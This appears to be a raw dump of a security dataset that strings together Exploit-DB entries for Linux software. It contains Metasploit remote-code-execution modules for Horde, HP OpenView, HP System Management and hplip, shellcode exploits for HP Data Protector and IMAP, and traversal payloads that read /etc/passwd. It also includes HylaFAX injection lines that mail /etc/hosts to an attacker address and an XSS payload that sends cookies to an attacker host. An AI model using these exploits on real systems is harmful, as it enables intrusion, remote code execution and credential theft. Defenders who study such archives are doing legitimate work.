deardaniel/secdata-raw huggingface dataset:
Exploit-DB #50588
Description: HD-Network Real-time Monitoring System 2.0 - Local File Inclusion (LFI)
Type: remote
Platform: linux
Date: 2021-12-13
Author: Momen Eldawakhly

Exploit:
# Exploit Title: HD-Network Real-time Monitoring System 2.0 - Local File Inclusion (LFI)
# Google Dork: intitle:"HD-Network Real-time Monitoring System V2.0"
# Date: 11/12/2021
# Exploit Author: Momen Eldawakhly (Cyber Guy)
# Vendor Homepage: N/A
# Version: V2.0
# Tested on: Nginx NVRDVRIPC Web Server

Proof of Concept:

GET /language/lang HTTP/1.1
Referer: http://example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4512.0 Safari/537.36
Cookie: s_asptitle=HD-Network%20Real-time%20Monitoring%20System%20V2.0; s_Language=../../../../../../../../../../../../../../etc/passwd; s_browsertype=2; s_ip=; s_port=; s_channum=; s_loginhandle=; s_httpport=; s_sn=; s_type=; s_devtype=
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
Host: VulnIP
Connection: Keep-alive
Exploit-DB #33620
Description: Helix Player 11.0.2 - Encoded URI Processing Buffer Overflow
Type: remote
Platform: linux
Date: 2007-07-03
Author: gwright

Exploit:
source: https://www.securityfocus.com/bid/38161/info

Helix Player is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input.

Successful exploits may allow remote attackers to execute arbitrary code in the context of the application. Failed exploit attempts will cause denial-of-service conditions. 


The following example URI is available:

http://AAA.BBB.CCC.DDD:EEEE/%.20000000s%
Exploit-DB #21019
Description: Horde 1.2.x/2.1.3 and Imp 2.2.x/3.1.2 - File Disclosure
Type: remote
Platform: linux
Date: 2001-07-13
Author: Caldera Open Linux

Exploit:
source: https://www.securityfocus.com/bid/3067/info

A vulnerability has been discovered in Horde Imp which may allow an attacker to access arbitrary system files. The issue occurs due to insufficient sanity checks on user-supplied URI parameters.

By specifying a malicious INBOX file in a request, the contents of the file may be disclosed to a remote attacker. All files would be accessed with the privileges of the user invoking Imp. 

http://vulnerableserver/horde/imp/mailbox.php?mailbox=/etc/passwd
Exploit-DB #18492
Description: Horde 3.3.12 - Backdoor Arbitrary PHP Code Execution (Metasploit)
Type: remote
Platform: linux
Date: 2012-02-17
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Horde 3.3.12 Backdoor Arbitrary PHP Code Execution',
			'Description'    => %q{
					This module exploits an arbitrary PHP code execution vulnerability introduced
				as a backdoor into Horde 3.3.12 and Horde Groupware 1.2.10.
			},
			'Author'         => [
				'Eric Romang',  # first public PoC
				'jduck'         # Metasploit module
			],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2012-0209'],
					[ 'URL', 'http://dev.horde.org/h/jonah/stories/view.php?channel_id=1&id=155' ],
					[ 'URL', 'http://eromang.zataz.com/2012/02/15/cve-2012-0209-horde-backdoor-analysis/' ]
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'BadChars' => "\x0a\x0d",
					'DisableNops' => true,
					'Space'       => 4096,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
						}
				},
			'Platform'       => [ 'unix', 'linux' ],
			'Arch'           => ARCH_CMD,
			'DefaultTarget'  => 0,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Feb 13 2012'
			))

			register_options(
				[
					OptString.new('URI', [true, "Path to Horde installation", "/horde"]),
					OptString.new('APP', [true, "App parameter required by javascript.php (must be active)", "horde"]),
				], self.class)
	end

	def exploit
		# Make sure the URI begins with a slash
		uri = datastore['URI']
		if uri[0,1] != '/'
			uri = '/' + uri
		end

		# Make sure the URI ends without a slash, because it's already part of the URI
		if uri[-1, 1] == '/'
			uri = uri[0, uri.length-1]
		end

		function = "passthru"
		key = Rex::Text.rand_text_alpha(6)
		arguments = "echo #{key}`"+payload.raw+"`#{key}"

		res = send_request_cgi({
			'uri'     => uri + "/services/javascript.php",
			'method'  => 'POST',
			'ctype'   => 'application/x-www-form-urlencoded',
			'data'    => "app="+datastore['APP']+"&file=open_calendar.js",
			'headers' =>
			{
				'Cookie' => "href="+function+":"+arguments,
				'Connection' => 'Close',
			}
		}) #default timeout, we don't care about the response

		if (res)
			print_status("The server returned: #{res.code} #{res.message}")
		end

		resp = res.body.split(key)
		if resp and resp[1]
			print_status(resp[1])
		else
			print_error("No response found")
		end

		handler
	end

end
Exploit-DB #21151
Description: Horde IMP 2.2.x - Session Hijacking
Type: remote
Platform: linux
Date: 2001-11-09
Author: Joao Pedro Goncalves

Exploit:
source: https://www.securityfocus.com/bid/3525/info

IMP is a powerful web-based mail interface/client developed by members of the Horde project.

Encoded HTML tags are not stripped from requests to access 'status.php3'. It is possible for a remote attacker to construct a link which when clicked will cause arbitrary script code to be executed in the browser of an unsuspecting user in the context of a site running Horde IMP.

As a result, it has been proven that this issue can be exploited to steal a legitimate user's cookie-based authentication credentials and gain unauthorized access to that user's webmail account. 

http://myimp.site.com/status.php3?message=%3Cscript%20language%3Djavascript
%3E%20document.write(%27%3Cimg%20src%3Dhttp%3A%2F%2Fattackerhost.co
m%2Fcookie.cgi%3Fcookie%3D%27%20%2B%20escape(document.cookie)%2B%
20%27%3E%27)%3B%3C%2Fscript%3E%0A
Exploit-DB #26741
Description: Horde IMP 2.2.x/3.2.x/4.0.x - Email Attachments HTML Injection
Type: remote
Platform: linux
Date: 2005-12-06
Author: SEC Consult

Exploit:
source: https://www.securityfocus.com/bid/15730/info

Horde IMP is prone to an HTML injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.

Reports indicate this issue is only present when viewing IMP content with the Microsoft Internet Explorer Web browser. 

#
# MIME::Liet SMTP client by C3PO
#
   use strict;
   use MIME::Base64;
   use MIME::Lite;
#----------------------------------------------------
#                    load_file
#----------------------------------------------------
   sub load_file{
      my($file) = shift;
      my($Body);
      open(IN, $file) || die("Can't open $file $!");
      binmode IN;
      read(IN, $Body, -s $file);
      close(IN);
      return $Body;
  }
#----------------------------------------------------
#                      main
#----------------------------------------------------
   my $c = load_file('\Xploits\horder\passed.htm'); #content
   my $m = MIME::Lite->new(
                 From    =>'mail@domain.zone',
                 To      =>'mail@domain.zone',
                 Subject =>'Horde',
                 Date    =>"Tue, 17 Dec 2002 22:00:02 +0300",
                 Type    =>"text/html",
                 Data    => $c,
                 Filename=>"horde.html",
                 Encoding =>'base64'
                 );
  $m->attr('content-type.charset' => 'windows-1251'); #not necessary
  $m->send("smtp","smtp.domain.zone");
Exploit-DB #17648
Description: HP Data Protector (Linux) - Remote Command Execution
Type: remote
Platform: linux
Date: 2011-08-10
Author: SZ

Exploit:
#!/bin/bash
# Exploit Title: HP Data Protector Remote Root Shell for Linux
# Date: 2011-08-10
# Author: SZ
# Software Link:http://www8.hp.com/us/en/software/software-
# product.html?compURI=tcm:245-936920&pageTitle=data-protector
# Version: 0.9
# Tested on: HP-UX, Linux
# CVE: CVE-2011-0923
# Notes: ZDI-11-055
# Reference: http://www.zerodayinitiative.com/advisories/ZDI-11-055/
# Reference: http://h20000.www2.hp.com/bizsupport/TechSupport/
# Document.jsp?objectID=c02781143
#
# Ported from HPUX to Linux: minor change /usr/bin/sh -> /bin/sh
# Ported to HPUX from fdisk's (@fdiskyou) Windows version.
# Windows version: http://www.exploit-db.com/exploits/17339/
#
[ $# -lt 3 ] && echo -en "Syntax: `basename ${0}` <host> <port> <commands>\n\n`basename ${0}` 10.22.33.44 5555 id \nX15 [12:1] uid=0(root) gid=0(root)
" && exit 0
 
HOST=`echo ${@} | awk '{print $1}'`
PORT=`echo ${@} | awk '{print $2}'`
CMD=`echo ${@} | sed 's/'$HOST'.*'${PORT}'\ \ *//g'`
SC=""
SC=${SC}"\x00\x00\x00\xa4\x20\x32\x00\x20\x2d\x2d\x63\x68\x30\x6b\x73\x2d"
SC=${SC}"\x00\x20\x30\x00\x20\x53\x59\x53\x54\x45\x4d\x00\x20\x2d\x63\x68"
SC=${SC}"\x30\x6b\x73\x2d\x2d\x00\x20\x43\x00\x20\x32\x30\x00\x20\x2d\x2d"
SC=${SC}"\x63\x68\x30\x6b\x73\x2d\x00\x20\x50\x6f\x63\x00\x20\x2d\x72\x30"
SC=${SC}"\x30\x74\x2d\x72\x30\x30\x74\x2d\x00\x20\x2d\x72\x30\x30\x74\x2d"
SC=${SC}"\x72\x30\x30\x74\x2d\x00\x20\x2d\x72\x30\x30\x74\x2d\x72\x30\x30"
SC=${SC}"\x74\x2d\x00\x20\x30\x00\x20\x30\x00\x20\x2e\x2e\x2f\x2e\x2e\x2f"
SC=${SC}"\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e"
SC=${SC}"\x2e\x2f\x2e\x2e\x2f\x62\x69\x6e\x2f\x73\x68\x00\x00\x00\x00\x00"
SC=${SC}"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
SC=${SC}"\x00\x00\x00\x00\x00\x00\x00\x00\x00"

SHELLCODE=${SC}
( echo -en ${SHELLCODE} ; echo ${CMD} ) | nc -w1 ${HOST} ${PORT}
Exploit-DB #19124
Description: HP JetAdmin 1.0.9 Rev. D - symlink
Type: remote
Platform: linux
Date: 1998-07-15
Author: emffmmadffsdf

Exploit:
source: https://www.securityfocus.com/bid/157/info

A vulnerability exists in HP's JetAdmin Rev. D.01.09 software. Due to its failure to check if it is following a symbolic link, it is possible for an attacker to create a link from /tmp/jetadmin.log to anywhere on the filesystem, with permissions for reading and writing by everyone on the system. This can be used to gain root access.

The problem lies in the checking and creation of the log file. The following snippit is from /opt/hpnp/admin/jetadmin.
----
LOG=$TMP/jetadmin.log

if [ ! -f "$LOG" ]
then
touch $LOG
chmod 666 $LOG
fi
----

If the log file does not exist, the jetadmin script will create it, and change its permissions to 666. It does not check if the file is a symbolic link.

ln -sf /.rhosts /tmp/jetadmin.log
Exploit-DB #16887
Description: HP OpenView Network Node Manager (OV NNM) - 'connectedNodes.ovp'l Remote Command Execution (Metasploit)
Type: remote
Platform: linux
Date: 2010-07-03
Author: Metasploit

Exploit:
##
# $Id: openview_connectednodes_exec.rb 9671 2010-07-03 06:21:31Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'HP Openview connectedNodes.ovpl Remote Command Execution',
			'Description'    => %q{
					This module exploits an arbitrary command execution vulnerability in the
				HP OpenView connectedNodes.ovpl CGI application. The results of the command
				will be displayed to the screen.
			},
			'Author'         => [ 'Valerio Tesei <valk[at]mojodo.it>', 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9671 $',
			'References'     =>
				[
					['CVE', '2005-2773'],
					['OSVDB', '19057'],
					['BID', '14662'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Space'       => 1024,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl telnet',
						}
				},
			'Platform'       => 'unix',
			'Arch'           => ARCH_CMD,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Aug 25 2005',
			'DefaultTarget' => 0))

		register_options(
			[
				OptString.new('URI', [true, "The full URI path to connectedNodes.ovpl", "/OvCgi/connectedNodes.ovpl"]),
			], self.class)
	end

	def exploit

		# Trigger the command execution bug
		res = send_request_cgi({
				'uri'      => datastore['URI'],
				'vars_get' =>
					{
						'node'    => %Q!; echo YYY; #{payload.encoded}; echo YYY| tr "\\n" "#{0xa3.chr}"!
					}
				}, 25)

		if (res)
			print_status("The server returned: #{res.code} #{res.message}")
			print("")

			m = res.body.match(/YYY(.*)YYY/)

			if (m)
				print_status("Command output from the server:")
				print(m[1])
			else
				print_status("This server may not be vulnerable")
			end

		else
			print_status("No response from the server")
		end
	end

end
Exploit-DB #24937
Description: HP System Management - Anonymous Access Code Execution (Metasploit)
Type: remote
Platform: linux
Date: 2013-04-08
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  HttpFingerprint = { :pattern => [ /HP System Management Homepage/ ] }

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'HP System Management Anonymous Access Code Execution',
      'Description'    => %q{
          This module exploits an anonymous remote code execution on HP System Management
        7.1.1 and earlier. The vulnerability exists when handling the iprange parameter on
        a request against /proxy/DataValidation. In order to work HP System Management must
        be configured with Anonymous access enabled.
      },
      'Author'         => [ 'agix' ], # @agixid
      'License'        => MSF_LICENSE,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 1000,
          'BadChars' => "\x00\x25\x0a\x0b\x0d\x3a\x3b\x09\x0c\x23\x20",
          'EncoderOptions' =>
            {
              'BufferRegister' => 'ESP' # See the comments below
            }
        },
      'Platform'       => ['linux'],
      'Arch'           => ARCH_X86,
      'References'   =>
        [
          ['OSVDB', '91812']
        ],
      'Targets'        =>
        [
          [ 'HP System Management 7.1.1 - Linux (CentOS)',
            {
              'Ret' => 0x8054e14, # push esp / ret
              'Offset' => 267
            }
          ],
          [ 'HP System Management 6.3.0 - Linux (CentOS)',
            {
              'Ret' => 0x805a547, # push esp / ret
              'Offset' => 267
            }
          ]
        ],
      'DisclosureDate' => 'Sep 01 2012',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(2381),
        OptBool.new('SSL', [true, 'Use SSL', true])
      ], self.class)

  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => "/cpqlogin.htm"
    })

    if res and res.code == 200 and res.body =~ /"HP System Management Homepage v(.*)"/
      version = $1
      return Exploit::CheckCode::Vulnerable if version <= "7.1.1.1"
    end

    return Exploit::CheckCode::Safe
  end

  def exploit

    padding = rand_text_alpha(target['Offset'])
    ret = [target['Ret']].pack('V')
    iprange = "a-bz"+padding+ret+payload.encoded

    print_status("#{rhost}:#{rport} - Sending exploit...")

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => "/proxy/DataValidation",
      'encode_params' => false,
      'vars_get' => {
        'iprange' => iprange
      }
    })

  end

end
Exploit-DB #16837
Description: hplip - 'hpssd.py' From Address Arbitrary Command Execution (Metasploit)
Type: remote
Platform: linux
Date: 2010-10-09
Author: Metasploit

Exploit:
##
# $Id: hplip_hpssd_exec.rb 10617 2010-10-09 06:55:52Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'hplip hpssd.py From Address Arbitrary Command Execution',
			'Description'    => %q{
					This module exploits a command execution vulnerable in the hpssd.py
				daemon of the Hewlett-Packard Linux Imaging and Printing Project.
				According to MITRE, versions 1.x and 2.x before 2.7.10 are vulnerable.

				This module was written and tested using the Fedora 6 Linux distribution.
				On the test system, the daemon listens on localhost only and runs with
				root privileges. Although the configuration shows the daemon is to
				listen on port 2207, it actually listens on a dynamic port.

				NOTE: If the target system does not have a 'sendmail' command installed,
				this vulnerability cannot be exploited.
			},
			'Author'         => [ 'jduck' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10617 $',
			'References'     =>
				[
					[ 'CVE', '2007-5208' ],
					[ 'OSVDB', '41693' ],
					[ 'BID', '26054' ],
					[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=319921' ],
					[ 'URL', 'https://bugzilla.redhat.com/attachment.cgi?id=217201&action=edit' ]
				],
			'Platform'       => ['unix'],
			'Arch'           => ARCH_CMD,
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'       => 1024,
					'DisableNops' => true,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							# *_perl and *_ruby work if they are installed
							# inetd isn't used on FC6/7 (xinetd is)
							# netcat doesn't have -e by default
						}
				},
			'Targets'        =>
				[
					[ 'Automatic (hplip-1.6.7-4.i386.rpm)', { } ]
				],
			'DefaultTarget' => 0,
			'DisclosureDate'  => 'Oct 04 2007'
		))

		register_options(
			[
				Opt::RPORT(2207),
			], self.class)
	end

	def exploit

		connect

		#cmd = "nohup " + payload.encoded
		cmd = payload.encoded

		username = 'root'
		toaddr = 'nosuchuser'

		# first setalerts
		print_status("Sending 'setalerts' request with encoded command line...")
		msg = "username=#{username}\n" +
			"email-alerts=1\n" +
			#"email-from-address=`#{cmd}`\n" +
			"email-from-address=x;#{cmd};\n" +
			"email-to-addresses=#{toaddr}\n" +
			"msg=setalerts\n"
		sock.put(msg)

		# next, the test email command
		print_status("Sending 'testemail' request to trigger execution...")
		msg = "msg=testemail\n"
		sock.put(msg)

	end

end
Exploit-DB #27032
Description: Hylafax 4.1/4.2 (Multiple Scripts) - Remote Command Execution
Type: remote
Platform: linux
Date: 2006-01-05
Author: Patrice Fournier

Exploit:
source: https://www.securityfocus.com/bid/16151/info

HylaFAX is vulnerable to multiple arbitrary command-execution vulnerabilities. This issue is due to a failure in the application to properly sanitize user-supplied input.

These vulnerabilities allow an attacker to execute arbitrary commands in the context of the affected application. Successful exploitation may facilitate a compromise of the underlying system. 

sendfax -d "411;number=\`cat /etc/hosts\`" /etc/hosts

sendfax -f "\`cat /etc/hosts|mail -s hosts attacker@example.com\` <attacker@example.com>" -d 411 /etc/hosts

sendfax -d "@411\";cat /etc/hosts|mail -s hosts attacker@example.com;" /etc/hosts
Exploit-DB #35148
Description: IBM Tivoli Access Manager 6.1.1 for E-Business - Directory Traversal
Type: remote
Platform: linux
Date: 2010-12-24
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/45582/info

IBM Tivoli Access Manager for e-business is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue will allow an attacker to view arbitrary local files within the context of the webserver. Information harvested may aid in launching further attacks.

IBM Tivoli Access Manager for e-business 6.1.1 is vulnerable. 

http://www.example.com/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/etc/passwd
Exploit-DB #21602
Description: icecast server 1.3.12 - Directory Traversal Information Disclosure
Type: remote
Platform: linux
Date: 2002-07-09
Author: glaive

Exploit:
source: https://www.securityfocus.com/bid/5189/info


Icecast is a freely available, open source streaming audio server. Icecast is available for the Unix, Linux, and Microsoft Windows platforms.

An attacker may exploit a directory traversal vulnerability in Icecast server to determine the existance of a specified directory outside of the web root. This is a result of the server returning different HTTP results for each case.

GET /file/../../../../../../../../nonexistent/ HTTP/1.0

GET /file/../../../../../../../../etc/ HTTP/1.0
Exploit-DB #253
Description: IMAP4rev1 10.190 - Authentication Stack Overflow
Type: remote
Platform: linux
Date: 2001-01-19
Author: teleh0r

Exploit:
#!/usr/bin/perl

## * Successfully tested on IMAP4rev1 v10.190 *
## Written by: teleh0r@doglover.com / anno 2000
##
## This is nothing new - just wrote it for fun.

$shellcode = "\xeb\x35\x5e\x80\x46\x01\x30\x80\x46\x02\x30\x80".
             "\x46\x03\x30\x80\x46\x05\x30\x80\x46\x06\x30\x89".
             "\xf0\x89\x46\x08\x31\xc0\x88\x46\x07\x89\x46\x0c".
             "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80".
             "\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xc6\xff\xff\xff".
             "\x2f\x32\x39\x3e\x2f\x43\x38";


$len = 1052;       # Sufficient to overwrite the return value.
$nop = A;          # Using A/0x41 as nops to try to fool IDS.
$ret = 0xbffff30f; # Return Value / ESP / Stack Pointer.

if (@ARGV < 2) {
    print("Usage: $0 <target> <offset>\n");
    exit(1);
}

($target, $offset) = @ARGV;

for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) {
    $buffer .= $nop;
}

$buffer .= $shellcode;
$new_ret = pack('l', ($ret + $offset));

for ($i += length($shellcode); $i < $len; $i += 4) {
    $buffer .= $new_ret;
}

$exploit_string = "* AUTHENTICATE {$len}\015\012$buffer\012";

system("(echo -e \"$exploit_string\" ; cat) | nc $target 143");


# milw0rm.com [2001-01-19]